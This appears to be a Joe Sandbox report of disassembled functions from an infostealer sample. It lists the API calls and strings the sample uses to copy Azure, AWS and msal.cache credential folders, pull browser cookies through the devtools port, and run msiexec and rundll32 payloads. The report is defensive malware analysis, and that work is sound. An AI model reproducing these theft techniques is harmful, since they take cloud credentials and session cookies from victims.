                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                      • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00F4DBE0,00000000,?,00611544,00000000,?,?), ref: 005FCB6C
                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005FCB89
                                      • GetFileSize.KERNEL32(00000000,00000000), ref: 005FCB95
                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005FCBA8
                                      • ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 005FCBD9
                                      • StrStrA.SHLWAPI(?,00F4DD00,00610B56), ref: 005FCBF7
                                      • StrStrA.SHLWAPI(00000000,00F4DCB8), ref: 005FCC1E
                                      • StrStrA.SHLWAPI(?,00F4E348,00000000,?,00611550,00000000,?,00000000,00000000,?,00F48B58,00000000,?,0061154C,00000000,?), ref: 005FCDA2
                                      • StrStrA.SHLWAPI(00000000,00F4E208), ref: 005FCDB9
                                        • Part of subcall function 005FC920: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005FC971
                                        • Part of subcall function 005FC920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005FC97C
                                      • StrStrA.SHLWAPI(?,00F4E208,00000000,?,00611554,00000000,?,00000000,00F48BC8), ref: 005FCE5A
                                      • StrStrA.SHLWAPI(00000000,00F48A48), ref: 005FCE71
                                        • Part of subcall function 005FC920: lstrcat.KERNEL32(?,00610B47), ref: 005FCA43
                                        • Part of subcall function 005FC920: lstrcat.KERNEL32(?,00610B4B), ref: 005FCA57
                                        • Part of subcall function 005FC920: lstrcat.KERNEL32(?,00610B4E), ref: 005FCA78
                                      • lstrlen.KERNEL32(00000000), ref: 005FCF44
                                      • CloseHandle.KERNEL32(00000000), ref: 005FCF9C
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
                                      • String ID:
                                      • API String ID: 3744635739-3916222277
                                      • Opcode ID: fb49dea03a46dcb4f36673e01e77e427b522c7e340444de3ef367c8c02035937
                                      • Instruction ID: e0d33650b86606b1f6f2d3cc50f497b3102266372cc314996edf3226460bedae
                                      • Opcode Fuzzy Hash: fb49dea03a46dcb4f36673e01e77e427b522c7e340444de3ef367c8c02035937
                                      • Instruction Fuzzy Hash: BBE10971950208ABCB48EBE4DCA2FEFB77ABF14340F40459DF106661D1EB706A49CB65
                                      Function 006084B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      • RegOpenKeyExA.ADVAPI32(00000000,00F4BE90,00000000,00020019,00000000,006105BE), ref: 00608534
                                      • RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006085B6
                                      • wsprintfA.USER32 ref: 006085E9
                                      • RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0060860B
                                      • RegCloseKey.ADVAPI32(00000000), ref: 0060861C
                                      • RegCloseKey.ADVAPI32(00000000), ref: 00608629
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CloseOpenlstrcpy$Enumwsprintf
                                      • String ID: - $%s\%s$?
                                      • API String ID: 3246050789-3278919252
                                      • Opcode ID: cf054035ac67f097f8e239ef9ea1aabb21c91d9ace92d09ff8e27da53c1edaa8
                                      • Instruction ID: f74c3024dc4da945336e3147a1c9080a808a80b5d0195ca56247bd09373fc23b
                                      • Opcode Fuzzy Hash: cf054035ac67f097f8e239ef9ea1aabb21c91d9ace92d09ff8e27da53c1edaa8
                                      • Instruction Fuzzy Hash: C1811D719502189FDB68DB94CD95FEAB7B9BF48700F1086D8E14AA7180DF706B84CFA4
                                      Function 006091A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 006091FC
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CreateGlobalStream
                                      • String ID: `d`F$`d`F$image/jpeg
                                      • API String ID: 2244384528-1312098759
                                      • Opcode ID: fd62e771e588201f7558f39eae02d7eaa54f5d920e7a38bf1aa40a2a5a19c8f7
                                      • Instruction ID: 03a0c559f3a394080f77e33d09a11ed86a7fff5c0456a12f2adfbc9ee809f610
                                      • Opcode Fuzzy Hash: fd62e771e588201f7558f39eae02d7eaa54f5d920e7a38bf1aa40a2a5a19c8f7
                                      • Instruction Fuzzy Hash: 3471CA71A54208EBDB18DFE4DC89FEEB779BB48700F108519F616A7290EB75A904CF60
                                      Function 00604FC0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00608F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608F9B
                                      • lstrcat.KERNEL32(?,00000000), ref: 00605000
                                      • lstrcat.KERNEL32(?,\.azure\), ref: 0060501D
                                        • Part of subcall function 00604B60: wsprintfA.USER32 ref: 00604B7C
                                        • Part of subcall function 00604B60: FindFirstFileA.KERNEL32(?,?), ref: 00604B93
                                      • lstrcat.KERNEL32(?,00000000), ref: 0060508C
                                      • lstrcat.KERNEL32(?,\.aws\), ref: 006050A9
                                        • Part of subcall function 00604B60: StrCmpCA.SHLWAPI(?,00610FC4), ref: 00604BC1
                                        • Part of subcall function 00604B60: StrCmpCA.SHLWAPI(?,00610FC8), ref: 00604BD7
                                        • Part of subcall function 00604B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00604DCD
                                        • Part of subcall function 00604B60: FindClose.KERNEL32(000000FF), ref: 00604DE2
                                      • lstrcat.KERNEL32(?,00000000), ref: 00605118
                                      • lstrcat.KERNEL32(?,\.IdentityService\), ref: 00605135
                                        • Part of subcall function 00604B60: wsprintfA.USER32 ref: 00604C00
                                        • Part of subcall function 00604B60: StrCmpCA.SHLWAPI(?,006108D3), ref: 00604C15
                                        • Part of subcall function 00604B60: wsprintfA.USER32 ref: 00604C32
                                        • Part of subcall function 00604B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00604C6E
                                        • Part of subcall function 00604B60: lstrcat.KERNEL32(?,00F4FCB0), ref: 00604C9A
                                        • Part of subcall function 00604B60: lstrcat.KERNEL32(?,00610FE0), ref: 00604CAC
                                        • Part of subcall function 00604B60: lstrcat.KERNEL32(?,?), ref: 00604CC0
                                        • Part of subcall function 00604B60: lstrcat.KERNEL32(?,00610FE4), ref: 00604CD2
                                        • Part of subcall function 00604B60: lstrcat.KERNEL32(?,?), ref: 00604CE6
                                        • Part of subcall function 00604B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00604CFC
                                        • Part of subcall function 00604B60: DeleteFileA.KERNEL32(?), ref: 00604D81
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
                                      • String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
                                      • API String ID: 949356159-974132213
                                      • Opcode ID: e76b4b4f3fb59cc2b88ce4823adc1a91abefe01355d02ded5c07fd374d4d3c94
                                      • Instruction ID: d2c2fb07374cb7bdb14e65a6a0276bfaaab9d22759f809ac100b438b43a68966
                                      • Opcode Fuzzy Hash: e76b4b4f3fb59cc2b88ce4823adc1a91abefe01355d02ded5c07fd374d4d3c94
                                      • Instruction Fuzzy Hash: 3A41E6BA98030867DB54F770DC47FEE733A9B54701F404498B245660C1EEF497C88B92
                                      Function 00603080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      • ShellExecuteEx.SHELL32(0000003C), ref: 00603415
                                      • ShellExecuteEx.SHELL32(0000003C), ref: 006035AD
                                      • ShellExecuteEx.SHELL32(0000003C), ref: 0060373A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ExecuteShell$lstrcpy
                                      • String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
                                      • API String ID: 2507796910-3625054190
                                      • Opcode ID: d7df07cf54226c9a89b29b14c9d35628988dc1ff661074ff781733ec67e25dc8
                                      • Instruction ID: af9eb342f2a14e1a7b42d4f115c7dc9c75ef448ad36440d805d5529f6f0e2392
                                      • Opcode Fuzzy Hash: d7df07cf54226c9a89b29b14c9d35628988dc1ff661074ff781733ec67e25dc8
                                      • Instruction Fuzzy Hash: 34120D719502189ADB48FBE0DDA2FEFB73AAF14340F40459DE106661D2EF702B89CB59
                                      Function 005F9BE0 Relevance: 19.6, APIs: 8, Strings: 5, Instructions: 146stringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 005F9A50: InternetOpenA.WININET(00610AF6,00000001,00000000,00000000,00000000), ref: 005F9A6A
                                      • lstrcat.KERNEL32(?,cookies), ref: 005F9CAF
                                      • lstrcat.KERNEL32(?,006112C4), ref: 005F9CC1
                                      • lstrcat.KERNEL32(?,?), ref: 005F9CD5
                                      • lstrcat.KERNEL32(?,006112C8), ref: 005F9CE7
                                      • lstrcat.KERNEL32(?,?), ref: 005F9CFB
                                      • lstrcat.KERNEL32(?,.txt), ref: 005F9D0D
                                      • lstrlen.KERNEL32(00000000), ref: 005F9D17
                                      • lstrlen.KERNEL32(00000000), ref: 005F9D26
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$lstrlen$InternetOpenlstrcpy
                                      • String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
                                      • API String ID: 3174675846-3542011879
                                      • Opcode ID: 62fc48cdb1856d28fdb2a9948a1c8886b2861a0a7dc3162e15c7ed3f05aad102
                                      • Instruction ID: 20a5ad54ce778ed6a51dfc3e36335bda7f3935d050deabfc7dcf5fd7eff94371
                                      • Opcode Fuzzy Hash: 62fc48cdb1856d28fdb2a9948a1c8886b2861a0a7dc3162e15c7ed3f05aad102
                                      • Instruction Fuzzy Hash: 05514C71900608ABDB14EBE0DC9AFEE7779BF44301F404558F20AA7091EF75AA88CF65
                                      Function 00605510 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 005F62D0: InternetOpenA.WININET(00610DFF,00000001,00000000,00000000,00000000), ref: 005F6331
                                        • Part of subcall function 005F62D0: StrCmpCA.SHLWAPI(?,00F4FD10), ref: 005F6353
                                        • Part of subcall function 005F62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F6385
                                        • Part of subcall function 005F62D0: HttpOpenRequestA.WININET(00000000,GET,?,00F4F4E8,00000000,00000000,00400100,00000000), ref: 005F63D5
                                        • Part of subcall function 005F62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005F640F
                                        • Part of subcall function 005F62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005F6421
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00605568
                                      • lstrlen.KERNEL32(00000000), ref: 0060557F
                                        • Part of subcall function 00608FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00608FE2
                                      • StrStrA.SHLWAPI(00000000,00000000), ref: 006055B4
                                      • lstrlen.KERNEL32(00000000), ref: 006055D3
                                      • lstrlen.KERNEL32(00000000), ref: 006055FE
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
                                      • String ID: ERROR$ERROR$ERROR$ERROR$ERROR
                                      • API String ID: 3240024479-1526165396
                                      • Opcode ID: 033bd99e9791a61d2f9e3214f506d98647fb157965e00c32f957d6808171e809
                                      • Instruction ID: ac661b1fc685dfd4bd63795ed7e1ec49ec119970cc94222e6cecf4c157335c40
                                      • Opcode Fuzzy Hash: 033bd99e9791a61d2f9e3214f506d98647fb157965e00c32f957d6808171e809
                                      • Instruction Fuzzy Hash: 7851DA30A502089BCB5CFFA0C9A6AFF777AAF50381F904458E50A575D2EF306B45CB5A
                                      Function 00601520 Relevance: 16.8, APIs: 11, Instructions: 310COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpylstrlen
                                      • String ID:
                                      • API String ID: 2001356338-0
                                      • Opcode ID: a62a38eb042b7a0b1463fa4dcb8826a05e2d5ec60406bccce1d68e8823cb5586
                                      • Instruction ID: f78a3aa7ac0ea4143401bcee99986d394e0bd26b9f543d6fd3e9e1b303350298
                                      • Opcode Fuzzy Hash: a62a38eb042b7a0b1463fa4dcb8826a05e2d5ec60406bccce1d68e8823cb5586
                                      • Instruction Fuzzy Hash: 3AC195B59402099BCB58EFA0DC99FDB737ABF54304F00459CF40967282EB70AA85CF95
                                      Function 006044D0 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00608F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608F9B
                                      • lstrcat.KERNEL32(?,00000000), ref: 0060453C
                                      • lstrcat.KERNEL32(?,00F4F3C8), ref: 0060455B
                                      • lstrcat.KERNEL32(?,?), ref: 0060456F
                                      • lstrcat.KERNEL32(?,00F4DD90), ref: 00604583
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 00608F20: GetFileAttributesA.KERNEL32(00000000,?,005F1B94,?,?,0061577C,?,?,00610E22), ref: 00608F2F
